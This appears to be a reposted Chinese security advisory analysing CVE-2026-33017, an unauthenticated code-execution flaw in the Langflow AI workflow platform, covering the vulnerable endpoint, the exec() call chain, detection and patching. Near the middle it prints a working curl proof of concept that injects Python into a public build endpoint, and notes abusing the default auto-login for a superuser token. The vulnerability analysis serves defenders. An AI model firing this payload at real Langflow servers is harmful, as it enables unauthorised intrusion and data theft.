AI用户务必关注,Langflow未授权RCE分析(CVE-2026-33017)

admin 2026-03-31 11:47:08 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: CVE-2026-33017是Langflow低代码AI工作流平台中一个CVSS9.3的未授权远程代码执行漏洞。攻击者通过向无需认证的/api/v1/build_public_tmp端点POST包含恶意Python代码的flow数据,经exec()零沙箱执行实现RCE。CISA已将其列入KEV目录,要求4月8日前修复。修复方案为升级至1.9.0以上版本,该版本从公开端点完全移除了data参数。文章指出低代码AI平台正成为新攻击面,企业应立即升级并进行网络隔离。 综合评分: 87 文章分类: 漏洞分析,漏洞预警,AI安全,代码审计,应用安全


cover_image

AI用户务必关注,Langflow未授权RCE分析(CVE-2026-33017)

原创

千里 千里

东方隐侠安全团队

2026年3月27日 16:09 江苏

1

事件概述

2026年3月,Langflow被发现存在未授权远程代码执行漏洞。攻击者在漏洞披露后20小时内就开始利用该漏洞。

CISA已将此漏洞列入KEV目录,要求2026年4月8日前完成修复。

(注:对于美国联邦机构来说,一旦漏洞进入 KEV,必须在 CISA 指定的截止日期内(通常是 2-3 周内)完成修复。虽然私营企业不受法律强制,但全球安全合规标准(如 PCI DSS 等)通常会将 KEV 作为优先级最高的修复参考。)


2

漏洞信息

| 属性 | 值 | | — | — | | CVE | CVE-2026-33017 | | 评级 | CVSS 9.3 (严重) | | 影响版本 | < 1.9.0 | | 修复版本 | 1.9.0 | | 利用状态 | 已被利用 | | CISA KEV | ✅ 已收录 |


3

什么是Langflow

Langflow是一个强大的低代码AI工作流构建平台,用于构建和部署AI代理和工作流应用。

核心特点

| 特点 | 说明 | | — | — | | 低代码 | 拖拽式可视化界面 | | 多模型支持 | OpenAI、Anthropic、Azure、HuggingFace等 | | 向量数据库 | Pinecone、Milvus、Weaviate、Qdrant等 | | 数据源集成 | GitHub、Gmail、Notion、Confluence等 | | MCP服务器 | 可将工作流部署为MCP服务器 | | Python定制 | 可用Python自定义任何组件 |

主要应用场景

  • RAG应用:搭建知识库问答

  • Agent工作流:多步骤自动化

  • API部署:将工作流发布为API

  • MCP工具:作为MCP客户端的工具

快速上手

#&nbsp;方式1:Docker(最简单)
docker run -p 7860:7860 langflowai/langflow:latest

#&nbsp;方式2:Python包
uv pip install langflow -U
uv run langflow run

#&nbsp;方式3:桌面版
#&nbsp;下载:https://langflow.org/desktop

使用实例

(可访问:https://www.youtube.com/watch?v=AmvxMxniR3A)


4

漏洞原理

攻击向量

POST /api/v1/build_public_tmp/{flow_id}/flow

问题分析

  1. 认证绕过:该端点设计为无需认证(用于public flow)
  2. 代码注入:当提供data参数时,使用攻击者控制的flow数据
  3. 代码执行:包含任意Python代码的节点定义被传递给exec()
  4. 零沙箱:没有沙箱限制,直接执行

代码审计发现:

src/backend/base/langflow/api/v1/chat.py

@router.post("/build_public_tmp/{flow_id}/flow")
async&nbsp;def&nbsp;build_public_tmp(
&nbsp; &nbsp; flow_id: uuid.UUID,
&nbsp; &nbsp; data: FlowDataRequest | None, # 可选参数
&nbsp; &nbsp; # ❌ 不需要认证
):

当data参数为None时,端点从数据库加载正常的flow数据。但当data被提供时,端点直接使用攻击者提供的flow数据!

修复版本为:

@router.post("/build/{flow_id}/flow")
async&nbsp;def&nbsp;build_flow(
&nbsp; &nbsp; flow_id: uuid.UUID,
&nbsp; &nbsp; data: FlowDataRequest | None, # 可选参数
&nbsp; &nbsp; current_user: CurrentActiveUser, # ✅ 需要认证
):

执行链

data参数 →&nbsp;start_flow_build()
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;→&nbsp;generate_flow_events()
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;→&nbsp;create_graph()
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;→&nbsp;build_graph_from_data()
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;→&nbsp;Graph.from_payload()
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;→&nbsp;vertex.instantiate_component()
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;→&nbsp;eval_custom_component_code()
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;→&nbsp;exec(compiled_code, exec_globals) # ⚠️ 零沙箱执行!

为什么危险

  1. 低代码平台吸引了众多非安全背景用户,不清楚安全控制策略。
  2. 该平台可以直连数据库,存在处理敏感数据的风险
  3. 该项目沿用行业内众多软件的快速部署的思路,用户容易忽略安全配置,沉溺在方便快捷的喜悦当中
  4. AI工作流,可能被提示词注入,触发后续风险。

参考链接

  • Langflow官网 (https://langflow.org/)

  • GitHub Advisory (https://github.com/advisories/GHSA-rvqx-wpfh-mfx7)

  • CISA KEV (https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-33017)

POC利用

curl&nbsp;-X POST&nbsp;"http://target:7860/api/v1/build_public_tmp/${FLOW_ID}/flow"&nbsp;\
&nbsp; -H&nbsp;"Content-Type: application/json"&nbsp;\
&nbsp; -b&nbsp;"client_id=attacker"&nbsp;\
&nbsp; -d&nbsp;'{
&nbsp; &nbsp; "data": {
&nbsp; &nbsp; &nbsp; "nodes": [{
&nbsp; &nbsp; &nbsp; &nbsp; "id": "Exploit-001",
&nbsp; &nbsp; &nbsp; &nbsp; "type": "genericNode",
&nbsp; &nbsp; &nbsp; &nbsp; "data": {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "type": "ExploitComp",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "node": {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "template": {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "code": {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "type": "code",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "value": "import os\n_x = os.popen(\"id\").read()\nopen(\"/tmp/pwned\",\"w\").write(_x)"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; }]
&nbsp; &nbsp; }
&nbsp; }'

利用前提

  1. 知道public flow的UUID:通过分享链接获取
  2. 或者使用autologin:AUTOLOGIN=true(默认配置)时,可调用/api/v1/auto_login获取superuser token

与CVE-2025-3248的区别

| CVE | 端点 | 修复方式 | | — | — | — | | CVE-2025-3248 | /api/v1/validate/code | 添加认证 | | CVE-2026-33017 | /api/v1/build_public_tmp/{flow_id}/flow | 移除data参数 |

CVE-2026-33017的修复更复杂:因为端点本应无需认证(public flow场景),不能简单加认证。真正的修复是从公开端点完全移除data参数

| CVE | 修复内容 | 修复方式 | | — | — | — | | CVE-2025-3248 | /api/v1/validate/code | 添加认证 | | CVE-2026-33017 | /api/v1/build_public_tmp/{flow_id}/flow | 修复数据验证 |

攻击链:

1.&nbsp;攻击者构造恶意flow数据
&nbsp; &nbsp;└── 包含任意Python代码的节点定义

2.&nbsp;POST到 /api/v1/build_public_tmp/{flow_id}/flow
&nbsp; &nbsp;└── 提供data参数

3.&nbsp;服务端使用 attacker-controlled data
&nbsp; &nbsp;└── 不验证数据来源

4.&nbsp;代码通过exec()执行
&nbsp; &nbsp;└── 零沙箱 → RCE

5.&nbsp;获得服务器权限
&nbsp; &nbsp;└── 横向移动、数据窃取

CVSS向量

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L
解读:
AV:N - 网络可利用
AC:L - 低攻击复杂度
AT:N - 不需要特殊权限
PR:N - 不需要任何权限
UI:N - 不需要用户交互
VC:H/VI:H/VA:H - 高影响:机密性/完整性/可用性

检测是否被攻击方法

pip show langflowgrep&nbsp;"build_public_tmp"&nbsp;/var/log/langflow.log

5

修复建议

  1. 立即升级
pip&nbsp;install --upgrade&nbsp;"langflow>=1.9.0"
  1. 网络隔离
iptables -A&nbsp;INPUT&nbsp;-p&nbsp;tcp&nbsp;--dport&nbsp;7860&nbsp;-s&nbsp;10.0.0.0/8&nbsp;-j ACCEPTiptables -A&nbsp;INPUT&nbsp;-p&nbsp;tcp&nbsp;--dport&nbsp;7860&nbsp;-j DROP

6

总结

| 方面 | 要点 | | — | — | | 漏洞类型 | 代码注入+认证缺失 | | 严重程度 | CVSS 9.3 | | 利用难度 | 低(无需认证) | | 修复方式 | 升级到1.9.0+ | | 处置期限 | 2026年4月8日 |

AI正在进入我们的方方面面,AI工作流平台降低了技术门槛,不了解技术手段安全实践的企业和个人也在陆续入局,这使得AI工作流平台势必成为新的攻击面。

Langflow只是开始。随着低代码AI开发工具的普及,会有更多类似漏洞被发现。防御者面临的现实是,攻击者比组织打补丁还快,必须重新审视漏洞响应流程。

须知,小心驶得万年船。

作者:东方隐侠安全团队 千里

  • 欢迎关注我们的公众号、CSDN、视频号、BiliBili账号
  • 如您有意加入私域圈子,也可在公众号私信联系我,我正在和小隐小侠构造中,敬请期待,谢谢~

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:东方隐侠安全团队 千里 千里《AI用户务必关注,Langflow未授权RCE分析(CVE-2026-33017)》

评论:0   参与:  0